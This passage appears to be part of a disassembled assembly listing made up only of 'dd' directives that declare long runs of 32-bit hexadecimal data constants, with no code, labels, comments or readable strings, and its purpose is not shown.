		dd 944EFB67h, 0A0E6D820h, 3DF00026h, 0C4F37461h, 4F015D2Ah
		dd 6966B76Dh, 0B820A7D2h, 0EBEC0929h, 700FBFB5h, 0B3938264h
		dd 0CF7CA040h, 4CDF3129h, 32388D50h, 0D0CE293Ch, 0F972808h
		dd 908A95h, 9070429Ch, 0FE2C27h, 26663CB5h, 2AA1BDCFh
		dd 880C0801h, 0B9EFB133h, 80A9E857h, 0DEB74D0Fh, 0E3770135h
		dd 0C97C71D3h, 9C2020F5h, 44BAF340h, 0C57CD255h, 3102EB0Dh
		dd 6C207932h, 0FD21C3EEh, 191B8B4Dh, 0D869BBEFh, 0FBB899h
		dd 333919A9h, 4458D1DEh, 0F10CC700h, 0BC54F069h, 609094h
		dd 53417638h, 0B5456BCEh, 64CC332Eh, 87EF1F00h,	318DA428h
		dd 0DB710A2Bh, 8C9980FDh, 0D3BC5882h, 0F1274B7h, 0D93FC559h
		dd 0CEA862C0h, 0AA4818B2h, 688D327Ch, 39D480C8h, 365322h
		dd 2E132DDAh, 0B18A5B52h, 4FE7B23Ch, 0C8786420h, 7BB91977h
		dd 282C71ECh, 8C8D660h,	7B0D00C7h, 95F3DE1Bh, 0C80EA4AFh
		dd 0C05A3B87h, 0D4FB84E6h, 2C321D6Dh, 4B028BDDh, 364638C4h
		dd 56F56E17h, 8D80839Ch, 0B6948CA5h, 0CA4BC606h, 1F418894h
		dd 354BD71h, 334CD464h,	17AA93A0h, 132F7703h, 1E6E1BE6h
		dd 22D84BB1h, 0B297402h, 7809C914h, 48EA02D5h, 0C3EC72A1h
		dd 4CD9C080h, 976480D8h, 8C8EEF9h, 3F3501C4h, 2DB33992h
		dd 0E71420BDh, 564C278Ah, 4DA967F0h, 18C6009Ch,	2DADFBEFh
		dd 64F02E0Fh, 84B1FE26h, 223D9960h, 0A11A0061h,	0ED4FA02Dh
		dd 0A43A1002h, 205A012Bh, 7050CE0Fh, 171C182Dh,	38C6AD6h
		dd 47BAD355h, 4BA0CB78h, 0CF797702h, 0BECE253Ah, 1790097Fh
		dd 0D8C019EEh, 0A7259F02h, 602EB408h, 5D551B78h, 0BA2C0498h
		dd 2C40087Dh, 2D2B74h, 7E51C19Dh, 42A977A1h, 5C40944Bh
		dd 6B71EBF4h, 0FE0C0B43h, 9C188E8Ch, 924494E7h,	973400EBh
		dd 534B82D0h, 0C8F055A6h, 0D35CEC98h, 0CA2580F8h, 70149D06h
		dd 83ED002Dh, 2F6E22E6h, 0AC00E735h, 0A3D60F8Bh, 5209C5B2h
		dd 0FD16AC36h, 3778884Ch, 1F334386h, 75C70DB9h,	83E9AFE2h
		dd 28E834C4h, 1A47B20h,	0B24DC3A3h, 0C10CCA8Fh,	0E4E3F64Fh
		dd 846393E2h, 2C222AB9h, 83368060h, 3F6DAA53h, 7D86D5E4h
		dd 71A276C5h, 0ACDB0F03h, 90AED0CDh, 5B7CDE22h,	2FEC5F08h
		dd 2C3E2BD4h, 0C439C8BFh, 41086AE7h, 4002660h, 0C7FACE0Bh
		dd 3DE48150h, 46DEFh, 0C32F226Ch, 0C6090Ah, 2DACBC86h
		dd 0E6E22A76h, 0B000F0F4h, 7BAFF24Bh, 20EABB03h, 0D324B7CBh
		dd 530864C4h, 11B4ACB3h, 0B70050AFh, 0B6F8408Ah, 52FB5F79h
		dd 0CC08122Ch, 2A370BC8h, 2061A10Ah, 33F07338h,	484C5EC5h
		dd 0A7135618h, 685088h,	0A434E372h, 1A899A87h, 55322E00h
		dd 4BB407C2h, 7F19002Dh, 8FBA5BD2h, 6CBECB79h, 114D9840h
		dd 0D7900087h, 0B47E9B83h, 9F8CED5h, 4F41CB00h,	0BB7437D4h
		dd 96090F7h, 0EEAAA5E4h, 0D1B38C68h, 28379B00h,	0A41FAF21h
		dd 0A94A0153h, 0EDC5EAFAh, 0F2C700FBh, 77250230h, 854C5465h
		dd 10104850h, 9477D37Ah, 68880A8h, 99306150h, 94706D00h
		dd 0A165C43Ah, 4062627Dh, 1123B590h, 0A489129Ah, 288CC8B3h
		dd 29886200h, 0BF071E7Bh, 238D399Ah, 1B889B2Ch,	44AAC817h
		dd 590038C6h, 9DDC22A8h, 5B099Fh, 13F535E5h, 0B048834Bh
		dd 0C4004C72h, 9EF6AFD5h, 5ACA45Ah, 0D48FB38Dh,	0DCF0B1CFh
		dd 0D50EC1BAh, 6140870Ch, 0FD1DA784h, 8E72C8h, 951729D6h
		dd 21B5FFF6h, 44C4E304h, 1088097Ch, 5045F235h, 5EB3D478h
		dd 337820ACh, 53004FFDh, 0D392996h, 4BE9729Eh, 9CD82031h
		dd 4E00592Ah, 0F5A3A5D6h, 98768627h, 6F7144h, 2EF75139h
		dd 0B420E440h, 0EA540405h, 398017A5h, 1F4C180Dh, 9CAD50h
		dd 0D5CCF4E5h, 0E01F4DD0h, 5B430109h, 0F8C9E12Bh, 0DE34667Bh
		dd 0F071C0A8h, 0FA46A1Eh, 70ACD92Ch, 9DD13308h,	348EC979h
		dd 0C1532090h, 490BD0Bh, 568C071Bh, 13C580C8h, 87268D36h
		dd 820B14Ah, 0FAA6886h,	521BC207h, 0C000AC0Bh, 1C3D7442h
		dd 0E820AF5Ah, 93C71B4h, 0EE7053FEh, 804ADC04h,	26683E3Ch
		dd 0F425E601h, 0E541C1B0h, 8A802068h, 0D12E7DBBh, 18DE973Ch
		dd 811BA92h, 2CA900ACh
		dd 199C1618h, 8F2E4CBBh, 65115C95h, 0A9FCDB18h,	59006A46h
		dd 93F10E4Ch, 9F9857h, 0AFF4E127h, 0A219441Dh, 30FDD317h
		dd 0DF761020h, 642C7CE7h, 207118BAh, 0CFB17EB9h, 45204D59h
		dd 2B6C16F1h, 0D54B3B00h, 0A22DA404h, 300213F8h, 0E2CCC0D8h
		dd 0E615DE67h, 2C0691Ah, 0CA32C04Bh, 760CC04Ah,	20785F1Eh
		dd 2BB46330h, 10831F00h, 0A32C0CECh, 624702FFh,	0B882462Ah
		dd 0E8F97842h, 5D489E00h, 48EDFC2h, 0EEAFAD0Ch,	0F0B4C9D8h
		dd 0C41E4E41h, 37805317h, 5AE8443Ch, 0AFDE001Eh, 0A275310Bh
		dd 0E7021DD6h, 8DDD049h, 1369C182h, 985CB86Dh, 160A9080h
		dd 71F61C4Bh, 7A00877Fh, 0F3A368D7h, 2CC38E4Ah,	813081h
		dd 0E5F0DCBEh, 0E17841A8h, 2B3DC103h, 0D0AE761Ah, 72F34CA9h
		dd 0BF930CE0h, 3F61F9D4h, 0A60E1491h, 6238E092h, 4CCE2B1Fh
		dd 47EC837h, 0FDAADDB6h, 2D04E232h, 5D4820D4h, 0D6FB0Eh
		dd 85C21B07h, 0C73BBD7Eh, 4CD5170Fh, 0B091C328h, 0BAE3E041h
		dd 95CBF82Ch, 12AF5C91h, 7780E04Bh, 10DF502Bh, 8F9A1235h
		dd 0CD00200Ah, 0D85A43D1h, 0FA2A8040h, 9AAC5Fh,	0C0A22FDFh
		dd 0AF64E6CFh, 0BCA4EC90h, 948D5303h, 93379793h, 9B95C1DDh
		dd 85911180h, 0E8EFC5A8h, 20BECB9h, 42B06479h, 730A0331h
		dd 99F8EE2Dh, 5462E246h, 98A8D700h, 0E6CDAF31h,	5022EEAh
		dd 0EF7E4715h, 1C71BEh,	3BE77279h, 8E015BC1h, 0A55467EBh
		dd 51FC3C59h, 4A4309BBh, 8005A6D9h, 53B420E2h, 0BCA1F1ECh
		dd 2C78607Bh, 0CBD0D701h, 0B948E957h, 0EA0DEE0h, 174E8472h
		dd 122EC120h, 14B629BDh, 69798340h, 973100D7h, 9B394670h
		dd 955CE7ADh, 8FE600C0h, 3DB045DFh, 816CB61Fh, 59CED82Ch
		dd 0ABC45ADh, 20810CEh,	0D844FFCBh, 0B700E0D2h,	0E2F1FA26h
		dd 0C18DCD6Eh, 0D09F3440h, 0B742923h, 9828D9ACh, 0E8AD430h
		dd 21CBE8C4h, 0D8556561h, 25B06CF2h, 748E417h, 1AC70C7Ah
		dd 78DAE052h, 0A9002331h, 484AF502h, 3BDED66Dh,	5FA05C2h
		dd 0FDACBD8Eh, 767C8831h, 0C27E5007h, 9291DA17h, 5C702A8Ah
		dd 0B49950E9h, 48A95B80h, 1E405448h, 9DAC417h, 0A4D37089h
		dd 0E841286Ah, 0DA25E62Bh, 1738B020h, 0F9150001h, 0BD54A789h
		dd 0B8134D95h, 1C1CB984h, 0CCAB5C80h, 0E9C41BE6h, 2D58606Ch
		dd 960125Ah, 0D0814B48h, 0E04861EDh, 0CF6F78EFh, 0CC0E9328h
		dd 35C1837Bh, 4411F2F0h, 12E8FC90h, 82FB55AFh, 0E001BD8h
		dd 73617653h, 0DC1400D7h, 4177B719h, 17259E78h,	53DC22F0h
		dd 5AC6h, 28F76715h, 2CF6B50Fh,	0AF461E05h, 60B275C6h
		dd 9140B000h, 0E549FAAh, 11BE371Ch, 0C05B060Ch,	0E5080750h
		dd 803236B5h, 4C3A3345h, 2E9C1097h, 34CB54E2h, 0C8F62885h
		dd 0CD7822BCh, 4A129D02h, 5449A15Bh, 8FA2006Ch,	0D4D61CCAh
		dd 728768BCh, 0B64080A6h, 64820ECh, 0BA329EC3h,	0D21E2153h
		dd 144547C8h, 80A0E93Fh, 0CE78011h, 5644C49Eh, 7A527430h
		dd 9DE474h, 0F2DB265Ch,	4275028Bh, 5BD937CBh, 0B18030C0h
		dd 0F067DE80h, 4E1A11E7h, 772778D0h, 5C949039h,	0C36001A0h
		dd 13EF5B53h, 76C1E4F7h, 4800A6EEh, 7DCE2915h, 6208B3BDh
		dd 893C90E4h, 0F9922009h, 0C573D11h, 8AC185B5h,	6880EE28h
		dd 0C05C9E8Dh, 38DB5901h, 1FA15E00h, 372FCD6Dh,	934607D1h
		dd 406BF718h, 0CEA2EF34h, 0AEF1C8C4h, 0F22D8D05h, 0F77C5014h
		dd 27620B0Ch, 80F17088h, 868987FAh, 2B551F10h, 7700B0E8h
		dd 0BF11EEC6h, 17890DE1h, 8754F93h, 0FD8D0A0Ch,	0EFE0413Fh
		dd 0D5E083B7h, 4C006B77h, 0FB02183Ah, 1649C5Ah,	0D08F3570h
		dd 0FD303347h, 482022D7h, 17C5240h, 0AE8F923Fh,	59808195h
		dd 9F2835CAh, 6C4FC2F2h, 0E932F0h, 0E0EABDCFh, 0B0AA8103h
		dd 0B508E716h, 8BB1C488h, 0ADA90DE1h, 40300019h, 0EB4C3133h
		dd 11206023h, 28F6BF01h, 94C93576h, 28C06C44h, 9CB2Ch
		dd 2B237CBCh, 9FE46567h, 4C904A0Eh, 4B0245D2h, 0D376A020h
		dd 6690A8D4h, 59B8020Fh, 0EA8DC4CEh, 20090041h,	0CCFA3BC4h
		dd 208A502Fh, 0D7EC1130h, 8082513Fh, 0F9CF2438h, 0B9A11702h
		dd 0E676FC66h, 422C0700h, 0FF47A506h, 0EFEE0918h, 0A069BF1Ch
		dd 1110849h, 0F630D5CFh, 41B1FE65h, 3C4DFD50h, 0C03788B0h
		dd 440C7F46h, 49078601h, 142CC3CEh, 0EE340840h,	0DCD01448h
		dd 0FB7EC108h, 47A4202Eh, 0E80FE7D9h, 0A2EDEF21h, 5477C479h
		dd 71901814h, 0ECF14941h, 0B50E4CD1h, 975AA214h, 0C7260C41h
		dd 24F0CEB6h, 0C84B00EBh, 534C9D9Ch, 0B81716C2h, 2CD7A157h
		dd 8852BD84h, 0B2008BACh, 1808CE63h, 0DA1320h, 27DBEAA4h
		dd 0CB490F1Fh, 4C40CCBEh, 0E22029h, 746C9501h, 0C5518523h
		dd 3767F100h, 0B0F8E769h, 81D422Fh, 1116CCACh, 4CB200D4h
		dd 0C8B0F6D6h, 102E1209h, 0E6F08207h, 0B3D10B21h, 370F4CCh
		dd 470403A2h, 2CA83CB5h, 60787987h, 0BE0BB47Ch,	1787DDEh
		dd 3444330Fh, 50A90670h, 45BC8C8h, 0C1C453CDh, 0D166C029h
		dd 0B900EB4Dh, 334915A6h, 59728DBh, 47C4ABEEh, 0D3E820E3h
		dd 842791DDh, 25F4C479h, 4424328Dh, 0F6DCF4DBh,	0B0257807h
		dd 0CE1EC8C3h, 8266EBE5h, 44921025h, 887974B0h,	0E90076C5h
		dd 6075B785h, 179750h, 77585B37h, 14E62965h, 9C8290B0h
		dd 131008F3h, 0DB77C5C0h, 500F570h, 0D5ADA6A4h,	0F4162CD9h
		dd 8B90095Bh, 84F115E7h, 9076C40Bh, 25DEAFE4h, 40321B79h
		dd 7E108874h, 0C0046492h, 4B331EDCh, 7A15007h, 7730BCC3h
		dd 4A53B4A2h, 72A020DEh, 0E83CB111h, 21FC004Fh,	7A45ECCEh
		dd 0C81A9750h, 0B9247860h, 7500E8B0h, 0BA7E4F0Dh, 0B31577h
		dd 8D41EF4Dh, 0E0E87382h, 9A4FD37Fh, 408884C4h,	322C24ACh
		dd 135112FCh, 0E07808D8h, 0F91BE789h, 0F81168h,	28BDE32h
		dd 1450F3Ah, 888319Bh, 0E5C5F765h, 76F8D05Dh, 31D5D230h
		dd 3919804h, 2C136E41h,	29BA0D51h, 9467C840h, 3B80CC8Ah
		dd 0DC8235B3h, 0A494FDFCh, 20408C5Eh, 4640E6h, 8E133469h
		dd 7E5FD1E1h, 5BBB033Eh, 86702028h, 8D0D34Eh, 3C6D0C57h
		dd 2480C1A1h, 0AAB65578h, 4D25A98Fh, 201C90DAh,	35772C5Dh
		dd 33460EF4h, 42BCB02Ah, 9863E911h, 208813C4h, 2B1F07CFh
		dd 0E072BC62h, 0B674655Eh, 26005643h, 7F0ABF3h,	1E006E83h
		dd 0A5205F43h, 0C4DF675h, 3280E71Bh, 3548C290h,	0A0495AEBh
		dd 5244AD7h, 4C2CC43Ch,	0F0A3811Bh, 0D6519EBAh,	82043980h
		dd 422DB8EFh, 85E4798Ch, 30368D2Ch, 8E1B7FC4h, 0AD5C069Dh
		dd 78BA19C1h, 629531E1h, 0F2B30054h, 9C947229h,	10400A1h
		dd 6F67DDBh, 83011399h,	0CE78428Ch, 1E302B45h, 54B612DCh
		dd 0C934C0B5h, 0F9073189h, 24BAE217h, 0F4D859h,	0B3FA93BDh
		dd 0D2D90C77h, 49441801h, 398D2DB0h, 0C04BD86Dh, 757EF580h
		dd 0C82A7701h, 0BA2E8D37h, 6F8421A4h, 8733BCC0h, 0BD008FF0h
		dd 77DEC21h, 587E09A9h,	29008836h, 17B269BFh, 2507CAD4h
		dd 73D07B64h, 0DCBEC83h, 28925011h, 803C2829h, 0A2F1CBFFh
		dd 589400EBh, 925A3D26h, 0C0A0A94Bh, 0DE0A3143h, 0B00DEFC4h
		dd 0A450BA8Ah, 0FCF22C45h, 5F883C00h, 19AD6CCBh, 0A7D9C701h
		dd 7C77BB80h, 78506460h, 93DE02C3h, 0AD091133h,	583A5876h
		dd 0FCE5039Ch, 0D0908C56h, 0B13833B5h, 0BA26804Ch, 60A13ACDh
		dd 765D1500h, 27B901D6h, 24CFE3Fh, 0F21F3DC4h, 8CE8A7B5h
		dd 9900790Fh, 44D334CDh
		dd 3A4395F0h, 8C2AB34Ah, 629400FCh, 0D6108214h,	8001606h
		dd 60C25834h, 264A2039h, 2D34B77h, 37F36641h, 0D5AC9860h
		dd 0B0C94Ch, 4D8BA23Ah,	8A811BE6h, 41006C59h, 5939188Eh
		dd 3BD900AEh, 2E62954Fh, 8D013A26h, 1B3265E4h, 0E46DA3ECh
		dd 193C8100h, 4CBC3AAEh, 0D26C7E58h, 76FCF2h, 15581F62h
		dd 5EAAD399h, 234A1905h, 0BCA750h, 2AFFE84h, 0C01664DFh
		dd 0B5D6B840h, 0F813ECB1h, 8C00A3C2h, 0F77354E2h, 1DD52DCBh
		dd 408DBB8Bh, 0AADDC516h, 0CA88E7DBh, 0E01F0069h, 2831CBA5h
		dd 0CF0052C3h, 5C10A04Dh, 374170Bh, 73644A2Bh, 91E2D84Bh
		dd 0C74C46Ah, 3015A340h, 0EB0417B1h, 0C26824BEh, 0CA20D0A8h
		dd 973544C0h, 0F9446814h, 0BC6500B6h, 0AFB24C6Ah, 67027D23h
		dd 41312279h, 0D4C042B9h, 4BC54090h, 770018D5h,	0A216BBBEh
		dd 9811E652h, 6520D3A9h, 0C5E4C818h, 915C2D00h,	0DAF4545Ah
		dd 0D7D8001Eh, 0BBAF1A47h, 0E7034BA2h, 0B479E11Fh, 0EC90F013h
		dd 0E0CA4CDCh, 4F104903h, 0FE905070h, 7F04086Ah, 0CDAFD697h
		dd 0DADE1C83h, 0C5E0E058h, 78F64915h, 943E3209h, 483C2848h
		dd 0FF643700h, 0EF5556F5h, 0A7B1C032h, 0E0403BB4h, 0F4377000h
		dd 9BD913F8h, 3C78A9h, 0DA7AAFECh, 112B93B8h, 4FBAB900h
		dd 0CF567401h, 0E9C6001Ch, 0F118F5FEh, 96E8BE6h, 25670618h
		dd 38740008h, 20534F7Bh, 6100A95Ch, 7605B63Eh, 30789D55h
		dd 372957B4h, 34008CD4h, 3C4523Ch, 0C30C4925h, 5E800B69h
		dd 6070297Ch, 0B73019C0h, 3D474Ah, 30699CAh, 176B942Bh
		dd 1861D8EBh, 43525A2Ch, 0AA01D703h, 0D9F0D08Eh, 7F7E1817h
		dd 0D18449C9h, 0D91D4Ch, 8FDD80EFh, 355C0E11h, 8069F604h
		dd 4AA0A257h, 8716051Eh, 1FAD8081h, 28910FF6h, 86DE00FEh
		dd 0F5026C59h, 0E4980F11h, 5429F43Eh, 0A5B19D00h, 6B3795F8h
		dd 0BA76014h, 18CDC383h, 91C87F88h, 45002F9Ah, 575CE88Ch
		dd 0FF3C4D26h, 20FD8451h, 0DBE6F610h, 6A005179h, 0A211DEB0h
		dd 672882F0h, 0C0F720D4h, 6C4A80C1h, 0D6B43350h, 18D15880h
		dd 49286660h, 0D978875Bh, 6C1B9200h, 0C3473B5Fh, 55BE0064h
		dd 0BF6B08FEh, 970075AFh, 6E233DCAh, 0C09322h, 0FF11E9D8h
		dd 5CC1B467h, 0EB4F5B0Fh, 23018E91h, 9B7A5014h,	61C5D844h
		dd 0F18D0004h, 6C6BB5F0h, 22298B0Bh, 67807CCFh,	86E3A772h
		dd 58B0303Fh, 77025721h, 3203A1E0h, 0CA9CF824h,	56D2E9h
		dd 0E7D468CBh, 0B9004A7Ah, 3F4CAF55h, 142C80D0h, 0D0BC8F2Bh
		dd 0CA00F522h, 0E5C27F37h, 0F8E6A6DCh, 0BF3800AEh, 41B411A3h
		dd 5E0660EAh, 5B648168h, 0CADF0081h, 2F27AF24h,	4148D7C1h
		dd 3E6871Ch, 1777A980h,	0FB9E0907h, 54106697h, 97AE9EFh
		dd 6C24207h, 4DE09BFEh,	1544FCC0h, 896CD07h, 0F8D5DF03h
		dd 0A905F404h, 7A313740h, 7C5B6C80h, 0B38118CAh, 1AFC746Eh
		dd 6817F100h, 0F86C7769h, 3DD2A18h, 43270088h, 0D9232C6Ah
		dd 51C3058Ah, 0A0AD60h,	0C47E41D8h, 3C702E6Eh, 0D30887FBh
		dd 0E7D6DFACh, 26D13ED9h, 6FB3940Fh, 93E666A0h,	8714F9BCh
		dd 24CCF535h, 960CD489h, 4801610Fh, 8C18487Ah, 2467890Ah
		dd 0FE8B84A8h, 6C120D00h, 0EF51AE29h, 1FCB0031h, 6E95644Fh
		dd 24CDC25h, 4B3DC418h,	889A2CC0h, 0E9771EB1h, 69D014Ah
		dd 877DD6F9h, 3B305161h, 8EC15990h, 0CE33382h, 212A7F48h
		dd 6D0068D4h, 273D449Dh, 26B91934h, 425476E1h, 0B020235Ch
		dd 0A6F7FAh, 440799BBh,	0CDC0A1E3h, 3E6CF001h, 0CE4CF2D3h
		dd 0F9B448h, 0C83CA9Ah,	0FE60733Ah, 98FB6300h, 88E6083Dh
		dd 0E229C079h, 806EF9A3h, 3F2B3403h, 0ED4C7B86h, 89B2448h
		dd 803E3C14h, 0DD67A5A3h, 10F5D9h, 0C6AF9BAh, 0E064E818h
		dd 0B15A0231h, 0E180CB5Bh, 0F418044Eh, 860A33D3h, 30C24C7Eh
		dd 2C009E90h, 23246A3Ch, 89091D4Dh, 1096EE5Ah, 30760110h
		dd 0DDE052F6h, 0DB1324DAh, 0BC106F4Dh, 88A10038h, 1579B763h
		dd 0CC661861h, 0E54018F4h, 0AA0C89C0h, 2EA985h,	0E3801379h
		dd 0F893C8B9h, 0FBC11401h, 0E102EC8Ch, 86D88040h, 261D03EBh
		dd 4187A76h, 4976DFCBh,	0F2990D6Eh, 60DB7500h, 33964EAh
		dd 8DB8B641h, 67B1A834h, 81AC52F8h, 0A912F443h,	0F8246425h
		dd 80887487h, 6AEC7134h, 0E700CBA8h, 0C420A75Ah, 0C1D64Bh
		dd 69F8A16Eh, 83094F81h, 480603Dh, 0D9CD616Ch, 371400C0h
		dd 5CF1F3B3h, 401F2C32h, 85B40A3Bh, 591194h, 0E86AC84Eh
		dd 7C2D68B1h, 3E3BF26Fh, 0D0075026h, 0C031DD79h, 63B4CBE5h
		dd 0B027DF39h, 6B76B10Eh, 0C72229F8h, 5A2B00E0h, 1EAD12Ah
		dd 7E02F700h, 0D06AFCE1h, 0F1652227h, 64FE0B24h, 506C9849h
		dd 2F8A0119h, 41A1F351h, 8F19BDE6h, 204E58AFh, 0F512A5D5h
		dd 0F80D00C1h, 0EB241CCDh, 5898EF64h, 3031CA69h, 48417F30h
		dd 1C8A5870h, 863581C0h, 41C54C7Dh, 429DFF14h, 48604E20h
		dd 33E0D7F4h, 0A0AA3C7Ah, 417E9484h, 326CF8D4h,	396FF9D0h
		dd 60F88062h, 89183077h, 8B48D863h, 438F8258h, 6F2C805Bh
		dd 156A6881h, 8C2D0FEAh, 6118E88Eh, 391DD88Eh, 5847A28Bh
		dd 89E0FA3Ah, 0AEDDE79h, 97CCE564h, 1D0C3B58h, 0FD70DBD4h
		dd 7C2B0413h, 83EA9008h, 5C393AB6h, 0F06733A9h,	0D1002CFFh
		dd 80EA4CFEh, 0F4606FB4h, 18850372h, 0E72741DEh, 3783843h
		dd 0DE619DA2h, 8F81E2F9h, 278E8054h, 4BB062h, 0DDBC6E88h
		dd 5C17B92Dh, 483294B1h, 0DCD91106h, 0F104EC24h, 588A0B45h
		dd 87000216h, 0D86AD615h, 304C0041h, 0D80FAE14h, 0F105EFh
		dd 0F22E8DD7h, 0A3D4020Bh, 7AB063A1h, 92C98840h, 0BF5888A6h
		dd 1EB457A8h, 0B8E6E64Eh, 0F4FF7040h, 6410CC2Fh, 0CE509068h
		dd 7819D020h, 29A0772Eh, 0F7662510h, 7DE9D4A8h,	1F72A788h
		dd 27CA1B0h, 8BF856Ah, 0EB05EC61h, 0D303397Ch, 0E5E9938Ch
		dd 84D0EDF1h, 0BA6D9BFh, 53EC4908h, 0DCD83883h,	0A603176h
		dd 2494BB69h, 6D4300DEh, 5393E767h, 0B668D7C4h,	440230F0h
		dd 6441D1B2h, 6D290048h, 2FB5E379h, 0FC013EECh,	5584F62h
		dd 9530BBB0h, 2A2E2CDDh, 4B258640h, 0F0B0D1E8h,	0F6593463h
		dd 7EB48897h, 0FE93040h, 0A5B2C0F1h, 12D74300h,	0D115062Bh
		dd 478400D6h, 0DE2DCABFh, 0F8641A54h, 90CA09D0h, 0A4DF2D00h
		dd 9C0BC03Eh, 330F6405h, 8004D58Fh, 0D4C4F095h,	3FC4D820h
		dd 41C126FEh, 0B86E0774h, 13DE308Fh, 8215F0F5h,	11CCCC10h
		dd 6014FE48h, 71002067h, 40C45461h, 5501DB75h, 0DE4666E9h
		dd 5CCBBA1h, 18C90927h,	5812B580h, 7063E4A6h, 0E40A4A00h
		dd 2BC4FE61h, 0D590030Ch, 0F27E32C5h, 95D31000h, 0EDA19AB2h
		dd 236C02CCh, 4E97028h,	5F00F8C4h, 0DF06FC77h, 0E7C660h
		dd 1DFBD57Ch, 24E91E92h, 6730BCBAh, 0FF35B126h,	430A0E13h
		dd 564F2527h, 87F56000h, 10B80E91h, 76E444h, 0DD94347Eh
		dd 24B5D3A9h, 8453B8C9h, 81383B40h, 0DD691683h,	54980B42h
		dd 2A2F4482h, 0C02B6730h, 0FDD29F29h, 393F810Ah, 0B5EB0030h
		dd 840D4369h, 217FD8h, 565D3FF8h, 0DBD0243Bh, 0FAE3E0B8h
		dd 2C90E864h, 9627DE0Eh, 0E2A383CCh, 0ECA1F024h, 0D4BA528Eh
		dd 548CD714h, 0B845058h, 0F64CA48Bh, 81D76502h,	611B6C66h
		dd 0A06771B0h, 2EFE6511h, 4C47E8E9h, 0E4900787h, 2CB7D13h
		dd 0C41EC3D3h, 0D06F4D3Ch, 242AA384h, 83C86087h, 6DCDD6D7h
		dd 0DA72009Fh, 33076293h
		dd 501C929h, 68492786h,	44A4CAE6h, 62EE4021h, 0FCA2B687h
		dd 0F4980104h, 999A178Ah, 2508303Eh, 600D4C28h,	7EBA0744h
		dd 162B003Ah, 80B15C57h, 0F4962FA5h, 0D883E60Ah, 69F77740h
		dd 0C3200CC7h, 0AC490304h, 0D1791C00h, 4CF86070h, 50F7F0C1h
		dd 34195FDh, 35139A6Bh,	99C1F9CCh, 4C118A6Ah, 661214E9h
		dd 0E2F40420h, 0BEF203FFh, 0B445E63Eh, 7848DC0h, 0D499A300h
		dd 66BA2357h, 0D68F3DD8h, 81E7B081h, 38CD9BBFh,	18124C64h
		dd 0D9119A67h, 0C114A207h, 5E102778h, 93006E87h, 0D32A020Fh
		dd 1F54A49h, 1CBEA269h,	396427A0h, 0E76106A4h, 6106DCEh
		dd 0B02432DFh, 3F0C495Dh, 0CC7B7CF4h, 0DF6F0095h, 9AFF6604h
		dd 410F1A52h, 62ECD7h, 4888674Ah, 0B6F03F1h, 0F0069BADh
		dd 0CE7C6105h, 0AEC0B175h, 1E122E5h, 0FFC25E9h,	4806BDA7h
		dd 102A9B4h, 71D55DE3h,	763961EFh, 4A0B5630h, 0ED444E82h
		dd 73FE3E40h, 490F0545h, 0CB61760Fh, 871300DBh,	4B782B24h
		dd 3ED420D6h, 0D8095CA2h, 18A1826Fh, 0E38AFCh, 254F074Bh
		dd 307E36CFh, 0C878860Ch, 48329104h, 57818CB5h,	0E2FC7BFFh
		dd 0DF0408E0h, 8D9E245h, 18F5318Ah, 29C70EC0h, 2315D600h
		dd 0C45C4CF3h, 0A26C848Ch, 60C8DC82h, 0A0B98E75h, 0B88DD930h
		dd 27344438h, 9CD3BE24h, 6F2ECC11h, 3AA30018h, 0EEA1CF24h
		dd 59780232h, 0DD909003h, 1D4898CAh, 0C1B365F8h, 0D050FFD9h
		dd 9369E4F9h, 9411E741h, 34215F89h, 0BBFDC4Ch, 180C4E5Ch
		dd 0C8D6D885h, 37FABB34h, 6AFB3800h, 413A6978h,	0D4B349F3h
		dd 5448038h, 5958A252h,	9FCD8860h, 0A3803DD4h, 0F9EB94A5h
		dd 50B88119h, 0E8516200h, 0B7307A0Dh, 0F53800A8h, 5C6805C1h
		dd 8C001727h, 220B7DE1h, 4866CA07h, 247D803Ch, 0A7E03D52h
		dd 1E596C18h, 89978C00h, 217E3F83h, 69FC64h, 31F60154h
		dd 5E8168DCh, 98E30B2Ch, 0E4E08C09h, 1D2F022Ch,	0D8CDBAD2h
		dd 0D9059760h, 22F87C52h, 0A8200FEh, 207AA6C7h,	790F4429h
		dd 15C288h, 35E4F74Fh, 809B00FEh, 0CC371D4Ah, 9150CEB7h
		dd 0D6F04408h, 58BAEEB0h, 8D7EC03h, 0F8401373h,	703DA149h
		dd 0DCF4171Eh, 0CCCC029Fh, 4422D197h, 0F464C307h, 0ABEC4640h
		dd 2D7C5B28h, 0F97016E4h, 7F0B9700h, 0E94ED04Dh, 3109490h
		dd 9482673h, 7260791Eh,	8376613h, 1A5D8CA0h, 8B550043h
		dd 3EB2AD3Fh, 0D839D1D4h, 7927818Ah, 0A3046077h, 4C00F472h
		dd 823FD4B3h, 0F85CDE3Ah, 0F76D01CCh, 0F6CE781Fh, 4477B07Bh
		dd 142E5C9Ch, 8EC8E853h, 0CE02F6F0h, 0BF23C589h, 93E8B49Eh
		dd 0F7054998h, 0DBD74CF5h, 0FE2837C0h, 3E60FE43h, 404ECDCCh
		dd 95D24719h, 7802BE31h, 0DAD73C51h, 66646039h,	8194965Fh
		dd 483B6B20h, 0E8F8F380h, 0F602EB97h, 0B901CE84h, 60D08DF0h
		dd 0BA486DCh, 838CD358h, 94D3419h, 15039466h, 773368D5h
		dd 0A02C818Ch, 6FE180E0h, 0FDF1B981h, 27C9142Ah, 8CD6B863h
		dd 7758E628h, 0A305845Ch, 5A66A898h, 50F00BBEh,	0B1193880h
		dd 7E450236h, 1F96FEF8h, 0A4F713A1h, 312000A4h,	0B071290h
		dd 0EE032401h, 5F69817Ah, 907F1993h, 5A14500Ch,	3BD29A00h
		dd 2F206DC0h, 26267DA9h, 17282951h, 0B94006C2h,	9773680Bh
		dd 0A0412B25h, 38CB3E4Ch, 6EAB18D9h, 0DC9820DFh, 0B1004CE8h
		dd 806C4D35h, 24E1D777h, 8A44328Fh, 809C2A67h, 0E9ABD008h
		dd 220EC65Ch, 0A249A4E2h, 4073F07Ch, 48CCDD72h,	0E804A055h
		dd 44CBD457h, 0A4C0AA59h, 0FC7B857Eh, 0D81F294Dh, 997F0088h
		dd 0FB661C76h, 524E69C1h, 746403ECh, 475705ACh,	0E227D019h
		dd 0CE77786Ch, 0D624DB1Fh, 7D8AE684h, 5EDE0544h, 609BF817h
		dd 29E57F18h, 0D000DEEBh, 1A10510h, 30BFBA4h, 3E9E9BFFh
		dd 0C815F4B2h, 130892C9h, 3888D1BFh, 6E7229h, 9C4EB3C1h
		dd 0B8A1C85h, 2E4BA13Dh, 0E90C9C2Fh, 78E7A101h,	38A301A5h
		dd 5AD02331h, 795833FEh, 0B984DE07h, 0AD80C1E9h, 287984Fh
